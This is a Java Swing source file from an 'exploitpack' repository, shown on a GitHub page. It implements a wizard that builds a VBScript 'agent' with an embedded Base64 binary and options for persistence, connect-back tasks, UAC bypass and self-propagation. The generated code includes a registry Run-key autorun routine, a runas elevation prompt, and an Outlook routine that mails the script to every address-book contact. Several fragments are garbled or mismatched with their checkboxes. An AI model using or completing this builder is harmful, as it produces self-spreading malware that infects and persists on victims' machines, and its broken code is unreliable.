forked from c0ll3cti0n/exploitpack
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathVBSWizard.java
More file actions
447 lines (405 loc) · 22.6 KB
/
Copy pathVBSWizard.java
File metadata and controls
447 lines (405 loc) · 22.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
/*
* Copyright (C) 2017 Gian
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
package exploitpack;
import java.awt.Color;
import java.awt.Toolkit;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileWriter;
import java.io.IOException;
import java.util.Base64;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JFileChooser;
import java.nio.file.StandardOpenOption;
/**
*
* @author Gian
*/
public class VBSWizard extends javax.swing.JFrame {
/**
* Creates new form VBSWizard
*/
public VBSWizard() {
int lebar = this.getWidth() / 2;
int tinggi = this.getHeight() / 2;
int x = (Toolkit.getDefaultToolkit().getScreenSize().width / 2) - lebar;
int y = (Toolkit.getDefaultToolkit().getScreenSize().height / 2) - tinggi;
this.setLocation(x, y);
this.setVisible(true);
initComponents();
setDefaultCloseOperation(VBSWizard.DISPOSE_ON_CLOSE);
getContentPane().setBackground(Color.WHITE);
setIconImage(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/bug.png")));
if (new File("exploits/rockyou").exists()) {
jLabel2.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/uppro.png"))); // NOI18N
}
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jButton1 = new javax.swing.JButton();
FileToAttach = new javax.swing.JTextField();
jButton2 = new javax.swing.JButton();
jTextAreaBase64 = new javax.swing.JTextField();
jLabel1 = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jSeparator1 = new javax.swing.JSeparator();
jButton3 = new javax.swing.JButton();
jButton4 = new javax.swing.JButton();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jCheckBoxSelf = new javax.swing.JCheckBox();
jLabel6 = new javax.swing.JLabel();
jCheckBoxAutorun = new javax.swing.JCheckBox();
jCheckBoxStartup = new javax.swing.JCheckBox();
jCheckBoxTasks = new javax.swing.JCheckBox();
jCheckBoxBypass = new javax.swing.JCheckBox();
jCheckBoxCopybyEmail = new javax.swing.JCheckBox();
jCheckBoxCopybymeeting = new javax.swing.JCheckBox();
jCheckBoxCopybymedia = new javax.swing.JCheckBox();
jCheckBoxCopybyautorun = new javax.swing.JCheckBox();
jRadioButton1 = new javax.swing.JRadioButton();
jLabel7 = new javax.swing.JLabel();
jLabel8 = new javax.swing.JLabel();
jLabel9 = new javax.swing.JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jButton1.setText("Attach File");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
FileToAttach.setText("Attach a file..");
jButton2.setText("Encode");
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
});
jTextAreaBase64.setText("Nothing attached");
jLabel1.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/wizard-icon.png"))); // NOI18N
jLabel2.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/up.png"))); // NOI18N
jButton3.setText("Generate");
jButton3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton3ActionPerformed(evt);
}
});
jButton4.setText("Cancel");
jLabel3.setText("This wizard will help you customize the VBS Agent provided by Exploit Pack.");
jLabel4.setFont(new java.awt.Font("Tahoma", 1, 13)); // NOI18N
jLabel4.setText("Attach a file: ");
jLabel5.setText("Select your binary and then click on encode, ");
jCheckBoxSelf.setText("Self destruct - Remove original file after execution");
jLabel6.setFont(new java.awt.Font("Tahoma", 1, 13)); // NOI18N
jLabel6.setText("Choose from the following options and customize your agent:");
jCheckBoxAutorun.setText("Autorun - Add the agent to the registry");
jCheckBoxStartup.setText("Startup - Add the agent to the startup folder");
jCheckBoxTasks.setText("Task ( 1 min ) - Add a task to connect back");
jCheckBoxBypass.setText("Bypass UAC - Get admin rights");
jCheckBoxCopybyEmail.setText("Copy by e-mail ");
jCheckBoxCopybymeeting.setText("Copy by meetings");
jCheckBoxCopybymedia.setText("Copy itself by share");
jCheckBoxCopybyautorun.setText("Copy itself by autorun");
jRadioButton1.setText("Reset everything to the original values.");
jLabel7.setText("After you finish, this changes will be applied to the VBS agent, ");
jLabel8.setText("Choose a file first!");
jLabel9.setText("Must be a binary");
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jSeparator1)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addGap(0, 0, Short.MAX_VALUE)
.addComponent(jButton4)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton3))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jRadioButton1)
.addComponent(jCheckBoxSelf)
.addComponent(jCheckBoxStartup)
.addComponent(jCheckBoxAutorun)
.addComponent(jLabel2)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jTextAreaBase64, javax.swing.GroupLayout.PREFERRED_SIZE, 255, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(FileToAttach, javax.swing.GroupLayout.PREFERRED_SIZE, 255, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jButton1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jButton2, javax.swing.GroupLayout.PREFERRED_SIZE, 93, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel8)
.addComponent(jLabel9)))
.addComponent(jLabel3)
.addComponent(jLabel4)
.addComponent(jLabel5)
.addComponent(jLabel6)
.addComponent(jLabel7)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jCheckBoxTasks)
.addComponent(jCheckBoxBypass)
.addComponent(jCheckBoxCopybyEmail)
.addComponent(jCheckBoxCopybymeeting)
.addComponent(jCheckBoxCopybymedia)
.addComponent(jCheckBoxCopybyautorun))
.addGap(0, 0, Short.MAX_VALUE)
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 234, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGap(0, 0, Short.MAX_VALUE)))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel2)
.addGap(18, 18, 18)
.addComponent(jLabel3)
.addGap(5, 5, 5)
.addComponent(jLabel7)
.addGap(18, 18, 18)
.addComponent(jLabel4)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel5)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jButton1)
.addComponent(FileToAttach, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel9))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jButton2)
.addComponent(jLabel8))
.addComponent(jTextAreaBase64, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addComponent(jLabel6)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jCheckBoxSelf)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jCheckBoxAutorun)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jCheckBoxStartup)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jCheckBoxTasks)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jCheckBoxBypass)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jCheckBoxCopybyEmail)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jCheckBoxCopybymeeting)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jCheckBoxCopybymedia)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jCheckBoxCopybyautorun)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 54, Short.MAX_VALUE)
.addComponent(jRadioButton1))
.addGroup(layout.createSequentialGroup()
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 231, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(25, 25, 25)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jSeparator1, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(2, 2, 2)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jButton3)
.addComponent(jButton4))
.addContainerGap())
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
// TODO add your handling code here:
String filename = "";
// TODO add your handling code here:
JFileChooser fileChooser = new JFileChooser(new File(filename));
fileChooser.showSaveDialog(this);
FileToAttach.setText(fileChooser.getSelectedFile().toString());
}//GEN-LAST:event_jButton1ActionPerformed
private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton2ActionPerformed
// TODO add your handling code here:
try {
File originalFile = new File(FileToAttach.getText());
String encodedBase64 = null;
FileInputStream fileInputStreamReader = new FileInputStream(originalFile);
byte[] bytes = new byte[(int) originalFile.length()];
fileInputStreamReader.read(bytes);
//= new String(Base64.encodeBase64(bytes));
encodedBase64 = Base64.getEncoder().encodeToString(bytes);
System.out.println(encodedBase64);
jTextAreaBase64.setText(encodedBase64);
} catch (FileNotFoundException e) {
} catch (IOException e) {
}
}//GEN-LAST:event_jButton2ActionPerformed
private void jButton3ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton3ActionPerformed
File file = new File("exploits/code/" + "Agent.vbs");
try (FileWriter fileWriter = new FileWriter(file)) {
if (jCheckBoxSelf.isSelected()) {
fileWriter.append("SelfDestruct" + "/n");
}
if (jCheckBoxAutorun.isSelected()) {
fileWriter.append("Persistence" + "/n");
}
if (jCheckBoxStartup.isSelected()) {
fileWriter.append("");
}
if (jCheckBoxTasks.isSelected()) {
fileWriter.append("If WScript.Arguments.Named.Exists(\"elevated\") = False Then\n"
+ " CreateObject(\"Shell.Application\").ShellExecute \"wscript.exe\", \"\"\"\"\n"
+ " WScript.ScriptFullName & \"\"\" /elevated\", \"\", \"runas\", 1\n"
+ " WScript.Quit\n"
+ "End If\n"
+ "Create key to use\n"
+ "Function Autorun()\n"
+ "const HKEY_LOCAL_MACHINE = &H80000001\n"
+ "strComputer = \".\"\n"
+ "Set objReg=GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\\"&_\n"
+ "strComputer & \"\\root\\default:StdRegProv\")\n"
+ "strKeyPath = \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\\"\n"
+ "KeyPath = \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ExploitPack\"\n"
+ "strValueName = \"ExploitPack\"\n"
+ "strValue = \"%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\exploitpack.vbs\"");
}
if (jCheckBoxBypass.isSelected()) {
fileWriter.append("Function Outlook()\n"
+ " On Error Resume Next\n"
+ " Set OutlookApp = CreateObject (\"Outlook.Application\")\n"
+ " If OutlookApp = \"Outlook\" Then\n"
+ " Set Mapi = OutlookApp.GetNameSpace(\"MAPI\")\n"
+ " set mapi adlistasMapi.AddressLists\n"
+ " For Each Address list In mapiadlist\n"
+ " If Addresslist.AddressEntries.Count <> 0 Then\n"
+ " Addresslistcout = Addresslist.AddressEntries.Count\n"
+ " For AddList = 1 To Address listcout\n"
+ " Set msg = Outlook App.CreateItem(0)\n"
+ " Set AdEntries= Addresslist.AddressEntries(AddList)\n"
+ " msg.To = AdEntries.Address\n"
+ " msg.Subject =\"Subject\"\n"
+ " msg.Body = \"Message Body\"\n"
+ " set Attachs=msg.Attachments\n"
+ " Attac hs.Add \"%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\exploitpack.vbs\"\n"
+ " msg.DeleteAfterSubmit = True\n"
+ " If msg. To <>\"\" Then\n"
+ " msg.Send\n"
+ " End If\n"
+ " Next\n"
+ " registry.regwrite \"HKCU\\software\\exploitpack\\mailed\", \"1\"\n"
+ " End If\n"
+ " Next\n"
+ " End I f\n"
+ "End Function");
}
if (jCheckBoxCopybyEmail.isSelected()) {
fileWriter.append("");
}
if (jCheckBoxCopybymeeting.isSelected()) {
fileWriter.append("");
}
if (jCheckBoxCopybymedia.isSelected()) {
fileWriter.append("");
}
if (jCheckBoxCopybyautorun.isSelected()) {
fileWriter.append("");
}
if (!jTextAreaBase64.getText().equals("Nothing attached")) {
fileWriter.append("base64Encoded = \"" + jTextAreaBase64.getText() + "\"\n" + "binaryDump(base64Encoded)");
}
} catch (IOException e) {
Logger.getLogger(MainFrame.class
.getName()).log(Level.SEVERE, null, e);
}
}//GEN-LAST:event_jButton3ActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(VBSWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(VBSWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(VBSWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(VBSWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new VBSWizard().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JTextField FileToAttach;
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JButton jButton3;
private javax.swing.JButton jButton4;
private javax.swing.JCheckBox jCheckBoxAutorun;
private javax.swing.JCheckBox jCheckBoxBypass;
private javax.swing.JCheckBox jCheckBoxCopybyEmail;
private javax.swing.JCheckBox jCheckBoxCopybyautorun;
private javax.swing.JCheckBox jCheckBoxCopybymedia;
private javax.swing.JCheckBox jCheckBoxCopybymeeting;
private javax.swing.JCheckBox jCheckBoxSelf;
private javax.swing.JCheckBox jCheckBoxStartup;
private javax.swing.JCheckBox jCheckBoxTasks;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JLabel jLabel8;
private javax.swing.JLabel jLabel9;
private javax.swing.JRadioButton jRadioButton1;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JTextField jTextAreaBase64;
// End of variables declaration//GEN-END:variables
}